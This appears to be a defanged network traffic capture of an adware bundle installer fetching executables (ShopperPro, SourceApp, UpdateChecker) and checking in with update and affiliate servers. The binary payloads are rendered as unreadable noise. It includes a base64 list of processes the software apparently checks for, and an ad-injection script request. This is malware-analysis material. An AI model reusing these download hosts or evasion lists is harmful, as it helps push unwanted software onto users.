....B.,.......e .XA. ..u;..-.[...=.).r..cs?. ...`.... ..v......4.z...G
.E.......U.ZTw.<...9A......i....!.1..6...Qy>.?B^D.l.....n.OP>
&h..:>..p....}^W.....2.}..^.:..:.Mc]....*..r.dI....&.......6..8...X
..S5.......3u.{.c]......p3...?$..{..B#.k..../f.]:...............}..<
;{......_5jA.C.......0v.B.}..r....4.3`.."..m*(.......}.....6..bq=.1.@.
..{...I.X,zs..o......R,..?.V...`]4C.8....=.._.;(.}YC`.f.}..2O..L.v
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1


Range: bytes=3750000-3999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: n4xkllm8-su78sj1t.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Sat, 14 Feb 2015 03:58:04 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: JYMfefOvope9xjqnpB/yPFoA0tJ4/tBzLbTSGBts5JRIQZ84duqBuWJzBiQtJ5dC
x-amz-request-id: 2C2A7EB2DE3EC802
Last-Modified: Thu, 12 Feb 2015 18:20:46 GMT
ETag: "70ec75083152a7c564ce84d0723adb12"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 3750000-3999999/4681230
.et....Qj...f....k]..K...S.........0...AzYJ>..^.....4.....1..y!.'DE
...C.H!.....T..Q......?...A%..T........PhP.V.......D...r......`Y..1.k.
..|.&T..bd...D....C.j..=b...ZS.~V.N..:/..K.....|...#7.........C.36..f.
[email protected]..../8.p.q.....;blU&....S.f.D..Q8OP..........v........ 4rWS*wX
~.#...............u,.3.0>...q..@Ns.`....;k......=..9b._.g.....mM"..
K=I..j.G...M9R^.j.X...TF..)..........{..[*..^ A.TU3. ..U...k|g."`<p
...a~....~.{KQX 3kF.f...4.....X.G.m.K{#...M.Gb....l....i$y.K..|.....".
......(....t.<..qsa......{...}....P....B... _.)s.^.......5..e......
;..c.0I.(..;.P........!Q,.......44.:.Urg....m..)XI...oJx.u.N.`....,.n.
...u3&.......&.J....Ip.r........1..tD.a~...S....T..M.b.y..j....l..$...
.......~u.Z..#.....r ..^#..?g ./.>.....tR..F....2...O..!..c.......K
7.:c..../.[.g....Km........&...;.s....DeW.}..../..\L x.1.......:A..X4.
.*.L..X...SG../Zx.....=...C..b.].{L...8...%T.......e. [email protected]
.e^.. 8.J..r.Ffz*a;U...M9.Cn.........m.......B.%..X*.....v.W..z'.e...x
..|.U4CZ......w..yM.L.p..i...A5...,..U....(.c....&..<...I....l...x.
._.}a~..^G.q......H..a...WFj.7.2.?S.f=Z..7`.F..."..Z.....>......?..
..D..Q..C.....4\..#....._....4.[.3j....O..e#. ..m...kE.,biw[G../...T..
jj......d].l.....w..xu....&....b...S......|..B.........:./.....X......
"..S ...7.y.y.....9.0g..4....u..$...d.O..;... .....kJ.........-].i..."
>.C.H...r...........2...v.l..............."..2..)>......a1'#b.oN
io..yT..0O..S...4xmB.......J.V...W.....K.kW...uMZ.j.C...........F..#..
.g ....Yk2sf"...8.p..w,.Z._j...g.K.....}@6. ......."..$...a.uq>
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1


Range: bytes=4250000-4499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: n4xkllm8-su78sj1t.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Sat, 14 Feb 2015 03:58:05 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: JYMfefOvope9xjqnpB/yPFoA0tJ4/tBzLbTSGBts5JRIQZ84duqBuWJzBiQtJ5dC
x-amz-request-id: 2C2A7EB2DE3EC802
Last-Modified: Thu, 12 Feb 2015 18:20:46 GMT
ETag: "70ec75083152a7c564ce84d0723adb12"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 4250000-4499999/4681230
SM.>...."...A.!.G..._.P.Uc(j.......e............(.j8.O..\.Q.T..Z(..
y.sG=......I...W.....Qg..6.:..?F&.N...#x.V......l&%. M<.......P....
]TW....aB...k......._F.F.OWS...  ..p{..R.............%.....oM......k.2
L...R7.....*.h.Y...."r...p.|......"..~k.wL....5<.Q..>.. ...S....
4S.....I.}i..S.F.....f..........."J....:`2....[x./&.4.....3^. h......E
......7/.}..1..%.Sq.! .n...`..mhU.......n...>6.?=...FH.ad...#5.RUk.
...|.V.Be...3.A..... .G&..L..E9Fb.......?..R.. :ga......f:...^.27....c
.*..##..Z-.w...S..\.RRL.6.....j..L..O....AP..n,.b....../...8...P......
...W .V.w..i. ... .6.n%....Q........y o...z...;. .r0c.)d..M.;..._.....
I..lizv.G...M...JxH.]$.J...vH....>.^....B?...D.G..4..w.]......a...V
\.......<[email protected] ...(.......-GK.7.J....s.v`..1.f....m..C..0..?..
M............\..j.. z..j.P...[/..rCo.^..|8:U.9iI..S...... .3...?..x,o.
:}.0..j.*...?.Y.p.......:.......hq.K.. &T......x.....D....\..8....P.&.
qDL.............K.C.6..FP..Pku1pI.....R........xd..v....#.z.v.m..."N.j
..H......'.y..%......~..-.....uG.....P..........n`,. s......H:./W.....
.....Wkf....O........E..WR..~..O._U.....N.w....$G...fl..>.....j....
B.....(.2...=.. ....}Kp..0^..a....r..ef.3R....D..c7....&......"..j... 
5q..A..m, *.. e.m..5E..D.../.....q.O*....:...6....[....^.`Rx.8....v!|.
M\.M........#.7.T......\U.:7.....;8oo. ..p....F....fS8.-AK....W.U }..y
J.I.Z?J....n..._.6z.e.%z.sV...Nm...{.5...A.z...."V............L......l
..1..U.....0......S.I.eO......nd.(..l. .....r.....=.?C.h.{..-..(R.....
...dR"0.. ...[k.g...J./".......8G..o6o.t..f.....~|....5".M <...
<<< skipped >>>


GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=138810-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Sat, 14 Feb 2015 03:57:01 GMT
Content-Type: application/octet-stream
Content-Length: 971666
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Content-Range: bytes 138810-1110475/1110476
.:..q...v.......c.....)F../ ..I7.....<U^.J....;..... .C..TYa..24...
T......r<wz.<{.b.].6Vb......:.b.=&.E/.M}. .73]....d#...x... ..G|
.R..Z9 T.......~qX.?...(*yI)q.2.|Uj.0.2.....Vo...2...@.*Tg..CJ......7r
.i'.....k..|96W.......^YI....*...,S!.u!O&.......H.y.o....$A..4.(F.w.#.
a....n..L..2..ba..j.a.H.?..\[email protected].,.f..
.......M..Q...i.3LX...7.RJD....4...&....*5JE.6f.q"v.........q[.....x.s
9..8q..0...q.......B/......9......L2B}.~g..%..L. .....4....HQ.C.q!...q
<|].^c.*4....Zb1x.^...D$.(.u."......_0...5....x..6i. ........V1....
..I.*E.*...-..x.._.....1.6.D.56.:..W....F.......P.w..h...kE.........v.
.......`....%.......<.`....yu.2.....<...j2..'b.....>ie..t..k.
I.o.....Gy....V.y.z."..a......K...O..PH...#..6..4..|Im....t......LH.?.
d...h....>..}...............B.|X...>..L..*^..~.`9..*.Jk0..".....
!;...A....s.1.....g..m(N..:ed'...p.acr...\.sc.%..>.......c...;.#.kV
..........E.{...g...i...ol....(V!..{)F.....krQ&.[..<.b...C~S......%
0..Z.Xg.......KT9.,......U....a......n{$.QZ8]h... .......\.N.Q]...f...
6....an4-..,........V..u........%.6.B..q.^..j..r!.....=f....K3..=.:..[
..-..9.....*.'(Y#....S...5N....z..........[.,e..._...Q.R =..u...0l..t&
lt;...N.7.-..dG.....VFm.s) .......#.F..#.Thn#@...g.z.RO.....,.s.....$.
.L..-Y.w......^.Fi....<&.:.."8p..3..U........ ..?7 r.x}.6.......rY.
vwO~Jl....H..K*.T ......x!...9.d..6.ps..Q.H....</J.>..'}pRxV...0
%...KJ...a >YJ.....N.._..s...%.....C?....V.....Cp.IkZ.<_O*.):...
n.U-..O3.[....id...Y..ps,.#.).gso..^.U.,.c...{..T....r..... .x..H.
<<< skipped >>>


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
Range: bytes=1125848-
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 160835
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Fri, 13 Feb 2015 08:53:47 GMT
Accept-Ranges: bytes
ETag: "639a3946a47d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:56:57 GMT
Content-Range: bytes 1125848-1286682/1286683
X-Cache: Miss from cloudfront
Via: 1.1 761f19bc2f5721b0be0a41147e1e925f.cloudfront.net (CloudFront)
X-Amz-Cf-Id: us3yEj_I0FLswQQhJ-a4jRVMM6gnLmnHexMkDN_RlnbcFY2wl6YC5A==
HTTP/1.1 206 Partial Content..Content-Type: application/octet-stream..
Content-Length: 160835..Connection: keep-alive..Cache-Control: no-cach
e..Last-Modified: Fri, 13 Feb 2015 08:53:47 GMT..Accept-Ranges: bytes.
.ETag: "639a3946a47d01:0"..Server: Microsoft-IIS/7.5..X-Powered-By: AS
P.NET..Date: Sat, 14 Feb 2015 03:56:57 GMT..Content-Range: bytes 11258
48-1286682/1286683..X-Cache: Miss from cloudfront..Via: 1.1 761f19bc2f
5721b0be0a41147e1e925f.cloudfront.net (CloudFront)..X-Amz-Cf-Id: us3yE
j_I0FLswQQhJ-a4jRVMM6gnLmnHexMkDN_RlnbcFY2wl6YC5A==.....^..MQ...'.`.).
...Tt >..Kz......).R.1....l."..}.$|..(L..A.,...]".;Dx..k.S..J.V.x|.
.......D...E`...y..y....G..q&..&Oai,..>.:.(..!}.<Z.1........!...
<..l.R.Y.._..z=.};..^.?...g...m.\.q:....{.97.......e....5.....E<
..H...!e..3....$....XP.......R..n.W..NY..D.6Uv...G.......$0.....!....N
P.....SG.}=.#.~...s..P.3...4@..'K..lH.A...Q._A_.w.n.H.;.Uz...{ ..VF..[
....>.M..sz.P.. ..,p,..S..............2y~.,..Jf..o'(.......Mv...*..
..KA..MS..i3.,@.LuO..).....=.r3.i.}T..C....."3b...4 .n.I.XR...h.X.U...
[email protected]?B....S.1L.`.P.......3......!.d............O.
......w.k..7....^..MQ...'.`.)....Tt >..Kz......).R.1....l."..}.$|..
(L..A.,...]".;Dx..k.S..J.V.x|........D...E`...y..y....G..q&..&Oai,..&g
t;.:.(..!}.<Z.1........!...<..l.R.Y.._..z=.};..^.?...g...m.\.q:.
...{.97.......e....5.....E<..H...!e..3....$....XP.......R..n.W..NY.
.D.6Uv...G.......$0.....!....NP.....SG.}=.#.~...s..P.3...4@..'K..lH.A.
..Q._A_.w.n.H.;.Uz...{ ..VF..[....>.M..sz.P.. ..,p,..S.........
<<< skipped >>>


GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=277620-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Sat, 14 Feb 2015 03:57:01 GMT
Content-Type: application/octet-stream
Content-Length: 832856
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Content-Range: bytes 277620-1110475/1110476
../cXh~.Q....mj..Yt..>...(.e....(...kiq...lSR>...?... .N?.[c6...
C.(.pA.,.*..F...Y.Ij.j..p.%.r..e..h&...{-.....R^...`9.1PO6\8..>....
..Q"Rg.Z......Too...?.<....J..=,.q...}y.=.T..*W...C9..].........^e.
"T..`.&F..M...^-6Wz_:..YW.B.......'......O;,k..".gGP..<$-..1 .;.s|X
....-....%,....@.]AU.. ..\ko... .w~g..1K.......;A..|.r..%.............
.......... .)..2....e..<.J.i."....c..oZ...TE..j...........H..,8W.c.
.ST.zz.M.;-Pk5z...y..r.W~.;(F7,........w5...Ef...9Eo..[.Q...\.....9..f
6...j.mq*pRc..Z*.R..IW...j4Y.D ...T...Sn_.0.tY[/g./]ehAw..@<W......
0QO\Cj(.C.-.......*..5|.-.0..$.V..pX...T........HA.....}..........}.;.
 ....LPV.X..0W..H.........z..F(.o.:........Fd.'C..= . ..e.....%Z.t....
t.Bz.?...s.....L...ds....[....dr.....E(.z)vD17...d...m... ..........ms
..g...8V._x.X..D..g.WQ&....$...}o.Q5u..#6.. .`.......~..%.ir.W....zoYI
1b.......t`.2t.U.~5....t.......jd..rv.O..........s.o.}....A....9..o%..
.j.....R.LQ[.9qY1d?..?n.F.........*F}.b-.P`....y.6.=n...Kge}onq..u%.O|
.X>..."]..%H.;[email protected].. ........^...*.--....^n3.....2A.....
..,..Wg./.........p>....ci.........w..2.g...6^:.`..b... .'r........
........D....RH..[.`i..1*.rs....O..BG5...)nU..tX...r..CZ..V=)@.4r..)v:
./M$..5...'4....Bey.0Y..*..#7...q.../.#N.@....__......<85d$.z.%G...
(....-.d...I.........g....S:..&...2.....t..........h.c.......ty.G. .T.
k.>R....C...S.K.S.....,3LZe......a..#&SH.Q.R......4P......0}IC.h)N.
7..G....G1..........<..!.....=.I......S...tE.d.d.Y.......qf@I=nB...
.....V...'...z.]y./.......ng..VY...y.|......2.J..'.^.z....W..d....
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=510272-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.sourceapp.info
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SourceAppSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Sun, 15 Feb 2015 03:56:59 GMT
Date: Sat, 14 Feb 2015 03:56:59 GMT
Content-Range: bytes 510272-583167/583168
Content-Length: 72896
Connection: keep-alive
.&f...#t....p.[[email protected]=M.....s..r52.....,...F
......M{.*[email protected]...]A...._......J.V....W..sD . ......:...#<q
s...Z...).....`..J..B....O.'....i...9.=D.....mxw..0l..(. ..E...ok.....
h.z@.%....p...I..F..-....}2.....B.b<....Ryt.t..9..^Ut.P..A..D7s.y6_
M.dR.s..."`..~....w.O...P....i...w..p...=." !...}.|...&~...R.._p0.i...
vH.....4,7.0*.....F.y..".....p|........Tw MD....Wv.d. .s../...C..Y.V1.
v.uT20.">)..]..........p[.. .B.....O.3..mF7.IU.S.nZ.....K..r.t.Nl..
....a.t..p...^...{.....u.)j."......;..?]."..d.cp...Y#Q..........a.....
......6.....F\%....4&-(...Pp....1......~...E4.)...#.. ..............3.
........./..mn....9~...ZX.....O.\..^^N.O.(...* ..<SR..X...[.'......
.&.o...SS........?..........{/..&Q..}nb?..j..o..]4....`N.......}T.)...
Mmm.Le.I.. 5.i....!Ll...i .3......S.............&.%..i{.....X.LK..7.:.
E*;3<.L1.....4....B"%..>..U.(.Y..4~...p.....0.&. 5B....X.3..?...
...r..Q.=...v,.........t..x...[~c....-.*.0..jYL.{...fi...L|$z:..;.M...
.6e.eV.&..........W..y.D..2l.<....;}.....I..nSD...F......1..M.{.O..
 !....>..3.5<[email protected].#.]de`-.=#...
q..-[&.`&.X.*.#l.?#[email protected]?m......!.@.. ..<.7...I.<O..@}.i....
1..........H].q.Ir{l).I..u1...E...!;M.e=........|[email protected]..<........
..7.qW....!..~.J.1.......m..........Fp..N./.S....Q.p)......_..c...'..R
F.I.........U..A0}.l.u.T.......@..........>...b........y.b..v....r.
.8.}.j...a.r^)X~e....A.A..T..$...k..c.~......&K....OW..t*n...B=. .....
.I.O....E.$`%......0.e.9..K...fbw.vy..6..#JG....z.......w.........
<<< skipped >>>


GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Sat, 14 Feb 2015 04:01:12 GMT
Content-Type: application/octet-stream
Content-Length: 1110476
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Content-Range: bytes 0-1110475/1110476
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
.................... ...............................................s.
..........A...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc....A.......B...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>


GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=d1fff6f4-9b68-4327-a77d-371e4d5247a9&Password=vyO3DXXU&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1423886358&SBPIDS=1 HTTP/1.1
User-Agent: CoreWinInet
Host: online.GOOBZO.com
Cache-Control: no-cache
Cookie: ASP.NET_SessionId=xs3fyxvuxx5pum45gwcoe245


HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 547
Content-Type: text/html; charset=utf-8
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Date: Sat, 14 Feb 2015 03:59:18 GMT
Connection: close
<RESULT>.<LICENSE><STATUS>YaBhX1FVSUY=</STATUS>
;<EXPIRATION>0</EXPIRATION></LICENSE><UPDATE>.
<EXIST>0</EXIST>.<VERSION></VERSION>.<PAGE_
URL></PAGE_URL>.<DOWNLOAD_URL></DOWNLOAD_URL>.<
;DOWNLOAD_FILENAME></DOWNLOAD_FILENAME>.</UPDATE>.<S
TATS><COLLECT>1</COLLECT></STATS>..<ADS><
;SHOW>1</SHOW></ADS>...<BLACKLIST>..<LEN>10
8</LEN><DATA>..Y3JzcztzdmNob3N0O0FjdFNhZ2UuZXhlO2NkYXNmLmV
4ZTt3bGlkc3ZjLmV4ZTt3bGNvbW0uZXhlO2FnZW50LmV4ZTtBU0MuZXhlO3N1bXAuZXhlO
0F1ZGlhbHMuZXhlO1RlYW1WaWV3ZXI7..</DATA></BLACKLIST>....&l
t;SENDLOGRULE>..1..</SENDLOGRULE>...</RESULT>...



GET /mirror/filesfrog/UpdateCheckerSetup.exe HTTP/1.1
Range: bytes=175063-
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 25009
Connection: keep-alive
Date: Sun, 08 Feb 2015 06:04:13 GMT
x-amz-version-id: jL0aSyRduHp4LqyncVK8Wm3JP0W5VrZH
x-amz-meta-s3cmd-attrs: uid:0/gname:root/uname:root/gid:0/mode:33188/mtime:1382010969/atime:1382011574/ctime:1382011537
Cache-Control: max-age=3600
Last-Modified: Thu, 17 Oct 2013 12:06:36 GMT
ETag: "ef7d1863f4980ab0c8bda142fee67f92"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 175063-200071/200072
Age: 377
X-Cache: Hit from cloudfront
Via: 1.1 f96185b1d69d6f85635bc2b5554da639.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 3-H8W2OcqJOZOW5L_9TisASoKs4PVucL2qnrUzwgwgRK5DiGRC0Z3A==
J.s..o.6Q.....Y........^?.....{D.i......B.M..... c(.r&.......M.ggR...T
....=".z`......v......w.\.(.4.v.....;.A5......d.......$..8O..../..P...
.....{n(.Cw7!.G..._...t.....f.............j.4....37.....%.C.xJcX.....U
....N.e...-[1..T#\.]....zU|.;Q...pLN$.`n....(=.7=YR76....1..?.Q..;.Zwe
....o 1..1g..#R.C,..6KX..q.s|.ik...Q\.}...O.....k..x...J...>.:W..=.
[email protected]....;.B.X.. ..c...[F.t[....}7..&........."G.....[..\].~*.
.....9.F....ljJ>\Qm'.IIUE.;....a......d..^.Y......W..J.M..0Q....n..
."N.5.'.@...&B...$j@J...... P...O.D..D..A.........l..]G6.r.sv..%^..' #
,..;cM"[email protected]#..-..0.MX......$...W......s%.b..8.#.3...1%...I.....[
..{.L.H...mE..T7.\.m.ur ..h......p1..Q....5O..4.....g......C........G.
E..24.j..v.o."..[\dZ.xH....&.J..._...l...zGF5 e.Vg..n...2......_.IQ.db
C?..I........Zr...,.S.}d.i..g?......./7.D.Y.7I..[.8.....?g.p...Pre...P
F.K.;......cm8...U....O~..b...b..}.O....].YB..w..2YU........o....z...L
.{7.....8....3^q..........3rB..N.M.........`..G...*[email protected]..
.........`.V.......c.9......A^..3?..^`..S`[email protected]. ...Kq..a..B
2Z.8..o.[?. ...&..2.p..\..r..P..%G%.%B..O......OE(...H6..aX.^,C.a<.
.........i.....!.?s .....d..8!...}V..>].VH.7...Es.NH..gv..........k
.d..........H..Q.%M^...'....._.:_^j...F4..E/...S.....Y..P...H&&<...
(...1......f.?.X-...........e....-.....n...h.g...Sh.......WN...$..DJ.g
5H..=M.}".n..t.".s......W.Ls......4o.....f5....."..o......a./.....%...
..xGl\.;.2.k.[.....k`.v........<d..~.B."...=!]...`B....f....j....P.
r.Is.l......6.A....L./k.........h...x.......I.AR...,.....]..}.....
<<< skipped >>>


GET /affiliate/client?dist=141&sub=IF2Ewsmtycl&name=ShopperPro HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: api.jollywallet.com
DNT: 1
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Encoding: gzip
Content-Type: application/javascript
Date: Sat, 14 Feb 2015 03:59:20 GMT
Expires: Wed, 18 Feb 2015 03:59:20 GMT
P3P: policyref="/w3c/p3p.xml", CP="CURa ADMa DEVa OUR IND DSP CAO COR"
Server: nginx/1.4.7
X-Powered-By: PHP/5.4.30
transfer-encoding: chunked
Connection: keep-alive
1af9.............}k..F..g...ug.aQ..=KM....9.......{N......B .........|
. TR...3..>......GFDF&...i.w.o.[$.6.\M.q..va..,....-...Q.........E.
[email protected]..].O......F[.....D.xYfj.^lh....`.J.B..F.Pa.%a.k....>K.
K{...L......>~..h.....[X-..u...m.8.:..%.O.......*...l...Z.n..9.*4..
...&L..h...9..,{*...F%.......6....BA.u.Ylj...A)\.Wi.}..k....bA..u.....
..}._Qm...A$Y.....8.....0..,.n.OO.....a... *6....p6..V.}I*..F.3..X .%.
 Z..1.....Gq.?...... .J..o.t.^..m..q~....P...J.q<G....)..{}S.;.75..
....~....b...|H&...1....................s..........dH.9)..........ot..
......Q......PN78v......"&U...P#A...dQ..6J..t.)..-t7..'.....g......0..
../.,..4[#`.?....... ..~.....9....}....m.l{.?^.........}...>._.....
.{.......([email protected]]... [email protected].[z.'.E....=!M....
........-............. .".]......,.^..JH....E.GJ...|i.9;...9.m...`.8..
..svq.]ia.....M_..[-4>'[...?.>{\v...t.....G..mC..LM..P..]..fX..!
.|...(....._.....................'ncB.~e...b......x.........p4.Lg.....
...$>. ..5..........E.. .....}]t....k...6....0...uo}g....%.....B...
..M.......b:...<.t.C.......`seFL...w,4.P..4{l(.~...K.q.!.&.&....p..
....%.d..4..%...z.......#...z%.~j......7.~)..8...E..E._/.*l.o...%.....
$....r..P..]..(..=. .5"aws...V.B..#.(Q*z... [email protected]....
.*6..(.~5=si....u..'.1`I...4.TK..3._.....AS.d..K...J...A..D..&.w......
)..\....#..45.a....z.......U.?..9...'a_j.....h.3(...P":...dW.ET....^XN
..........g0.....:..\.&P.L'3V.......B.<.n*L....9./..ZOT{.;....6.1dp
../..6..;l @/$..........{0.]..`j.S..O..d<sp......./[email protected]:...
<<< skipped >>>


GET /online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=347a49ca-599a-449d-a352-8c5f411a5764&Password=6zjimKi4&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1423886296&SBPIDS=1&KA=1 HTTP/1.1
User-Agent: CoreWinInet
Host: online.GOOBZO.com
Cache-Control: no-cache
Cookie: ASP.NET_SessionId=xs3fyxvuxx5pum45gwcoe245


HTTP/1.1 302 Found
Cache-Control: private
Content-Length: 1268
Content-Type: text/html; charset=utf-8
Location: hXXp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=347a49ca-599a-449d-a352-8c5f411a5764&Password=6zjimKi4&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1423886296&SBPIDS=1&KA=1
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Date: Sat, 14 Feb 2015 03:58:15 GMT
Connection: close
<html><head><title>Object moved</title></he
ad><body>..<h2>Object moved to <a href="hXXp://onlin
e.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&U
serID=347a49ca-599a-449d-a352-8c5f411a5764&Password=6zjimKi4&O
S=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,aad59
c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&BundleID=NONE&BrandID=NONE&
amp;PartnerList=&ElapsedTime=1423886296&SBPIDS=1&KA=1">
here</a>.</h2>..</body></html>....<!DOCTYPE
 html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "hXXp://VVV.w3.o
rg/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xmlns="hXXp://
VVV.w3.org/1999/xhtml" >..<head><title>...Untitled Page
..</title></head>..<body>..    <form name="form1"
 method="post" action="ka.aspx?CV=2.0.0.0&ProductID=12000&User
ID=347a49ca-599a-449d-a352-8c5f411a5764&Password=6zjimKi4&OS=1
0&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,aad59c11
-71bf-4fd1-8fcf-4ed6f2e4aee0,&BundleID=NONE&BrandID=NONE&
;PartnerList=&ElapsedTime=1423886296&SBPIDS=1&KA=1" id="fo
rm1">..<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" 
value="/wEPDwUJNzgzNDMwNTMzZGR2ZsAnoxOCObOpC82NfSRA21X80Q==" />..  
  <div>..    ..    </div>..    </form>..</body>
;..</html>....
<<< skipped >>>


GET /mirror/filesfrog/UpdateCheckerSetup.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 200072
Connection: keep-alive
Date: Sun, 08 Feb 2015 06:04:13 GMT
x-amz-version-id: jL0aSyRduHp4LqyncVK8Wm3JP0W5VrZH
x-amz-meta-s3cmd-attrs: uid:0/gname:root/uname:root/gid:0/mode:33188/mtime:1382010969/atime:1382011574/ctime:1382011537
Cache-Control: max-age=3600
Last-Modified: Thu, 17 Oct 2013 12:06:36 GMT
ETag: "ef7d1863f4980ab0c8bda142fee67f92"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 0-200071/200072
Age: 377
X-Cache: Hit from cloudfront
Via: 1.1 1fcd1033bfe42d3b0b03eb4bfbf9624a.cloudfront.net (CloudFront)
X-Amz-Cf-Id: jIRTmZtMTVeytSZd9nzshut4tsQEe2iGBiDf0_Ku3gSgUsx2izUE4g==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
...........................{........................................s.
[email protected]............................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
